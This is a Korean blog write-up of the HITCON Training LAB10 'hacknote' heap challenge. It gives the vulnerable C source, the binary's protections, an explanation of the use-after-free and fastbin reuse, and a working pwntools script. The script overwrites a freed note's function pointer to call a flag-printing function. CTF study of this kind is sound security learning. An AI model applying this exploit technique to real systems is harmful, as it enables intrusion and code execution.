[HITCON] LAB10

sangjun

·

2021. 5. 6. 22:19

반응형

 

문제소스

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

struct note {
        void (*printnote)();
        char *content ;
};

struct note *notelist[5];
int count = 0;

void print_note_content(struct note *this){
        puts(this->content);
}
void add_note(){
        int i ;
        char buf[8];
        int size ;
        if(count > 5){
                puts("Full");
                return ;
        }
        for(i = 0 ; i < 5 ; i ++){
                if(!notelist[i]){
                        notelist[i] = (struct note*)malloc(sizeof(struct note));
                        if(!notelist[i]){
                                puts("Alloca Error");
                                exit(-1);
                        }
                        notelist[i]->printnote = print_note_content;
                        printf("Note size :");
                        read(0,buf,8);
                        size = atoi(buf);
                        notelist[i]->content = (char *)malloc(size);
                        if(!notelist[i]->content){
                                puts("Alloca Error");
                                exit(-1);
                        }
                        printf("Content :");
                        read(0,notelist[i]->content,size);
                        puts("Success !");
                        count++;
                        break;
                }
        }
}

void del_note(){
        char buf[4];
        int idx ;
        printf("Index :");
        read(0,buf,4);
        idx = atoi(buf);
        if(idx < 0 || idx >= count){
                puts("Out of bound!");
                _exit(0);
        }
        if(notelist[idx]){
                free(notelist[idx]->content);
                free(notelist[idx]);
                puts("Success");
        }
}

void print_note(){
        char buf[4];
        int idx ;
        printf("Index :");
        read(0,buf,4);
        idx = atoi(buf);
        if(idx < 0 || idx >= count){
                puts("Out of bound!");
                _exit(0);
        }
        if(notelist[idx]){
                notelist[idx]->printnote(notelist[idx]);
        }
}

void magic(){
        system("cat /home/hacknote/flag");
}


void menu(){
        puts("----------------------");
        puts("       HackNote       ");
        puts("----------------------");
        puts(" 1. Add note          ");
        puts(" 2. Delete note       ");
        puts(" 3. Print note        ");
        puts(" 4. Exit              ");
        puts("----------------------");
        printf("Your choice :");
};

int main(){
        setvbuf(stdout,0,2,0);
        setvbuf(stdin,0,2,0);
        char buf[4];
        while(1){
                menu();
                read(0,buf,4);
                switch(atoi(buf)){
                        case 1 :
                                add_note();
                                break ;
                        case 2 :
                                del_note();
                                break ;
                        case 3 :
                                print_note();
                                break ;
                        case 4 :
                                exit(0);
                                break ;
                        default :
                                puts("Invalid choice");
                                break ;

                }
        }
        return 0;
}

1. add_note()

  • note구조체 크기만큼 힙을 할당해준다. 
  • 첫 번째로 printnote에 함수 포인터를 저장한다.
  • Size를 또 입력받고 그만큼 note구조체의 두번째 멤버인 content에 Size만큼 할당된 힙의 주소를 저장한다.
  • 두 번째로 할당된 힙에 원하는 Data를 쓴다.

2. del_note()

  • 원하는 인덱스의 힙을 Free시킨다.
  • index는 0~4까지 입력할 수 있다.
  • 힙을 해제하는 순서는 두 번째 힙 --> 첫 번째 힙이다.

3. print_note()

  • 원하는 인덱스의 첫번째 힙에 있는 함수 포인터를 호출한다.

보호기법

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

문제 분석 및 페이로드

위의 코드에서 이용할 수 있는 취약점은 UAF를 이용해 heap allign을 망가뜨리는 것이다.

heap allign을 망가뜨리기 위해서 젤 중요한 2가지가 있다.

  • heap Size
  • heap free와 malloc순서

1. heap Size

  • heap을 두 개 할당하는데 첫 번째 힙은 0x11로 고정 사이즈이고 두 번째 힙은 사이즈를 조절할 수 있다.

2. heap allocate & free order

  • heap이 할당될 때 첫 번째 --> 두번째 순서로 할당된다.
  • heap이 해제될 때는 두 번째 --> 첫 번째 순서로 해제된다.

우리의 목표는 첫 번째 힙의 첫번째 내용을 바꿔야 한다. 

그러기 위해서는 힙의 size를 변칙적으로 주고 free를 해주는 것이다.

 

free(0)

free(1)순으로 해제하면 0x11만큼의 fastbin에서 재할당 되는 순서는 파란색 글자와 같다.

즉, 0x11size의 힙을 할당하다가 변칙적으로 힙을 할당하고 free해주면 heap allign이 망가져서

원하는 위치에 값을 쓸 수 있다.

from pwn import *
#context.log_level='debug'
context.terminal=['tmux','splitw','-h']
p=process("./hacknote")

def malloc(size,data):
    p.sendafter("Your choice :",str(1))
    p.sendafter("Note size :",str(size))
    p.sendafter("Content :",data)

def free(idx):
    p.sendafter("Your choice :",str(2))
    p.sendafter("Index :",str(idx))

def show(idx):
    p.sendafter("Your choice :",str(3))
    p.sendafter("Index :",str(idx))

malloc(9,"AAAA")
malloc(16,"AAAA")
malloc(16,"AAAA")
free(0)
free(1)



#gdb.attach(p)
#pause()
malloc(9,p32(0x8048986))
show(0)

print p.recv()

참고문헌 및 힘들었던 부분

1. 처음 제대로 풀어보는 힙 문제라 어렵게 느껴졌지만 hack ctf의 힙 문제와 굉장히 유사해서 몇분안에 풀었다.

 

반응형

'War Games > HITCON Training' 카테고리의 다른 글

[HITCON] LAB12  (0) 2021.05.07
[HITCON] LAB11  (0) 2021.05.07
[HITCON] LAB9  (0) 2021.05.06
[HITCON] LAB8  (0) 2021.05.05
[HITCON] LAB7  (0) 2021.05.05

0개의 댓글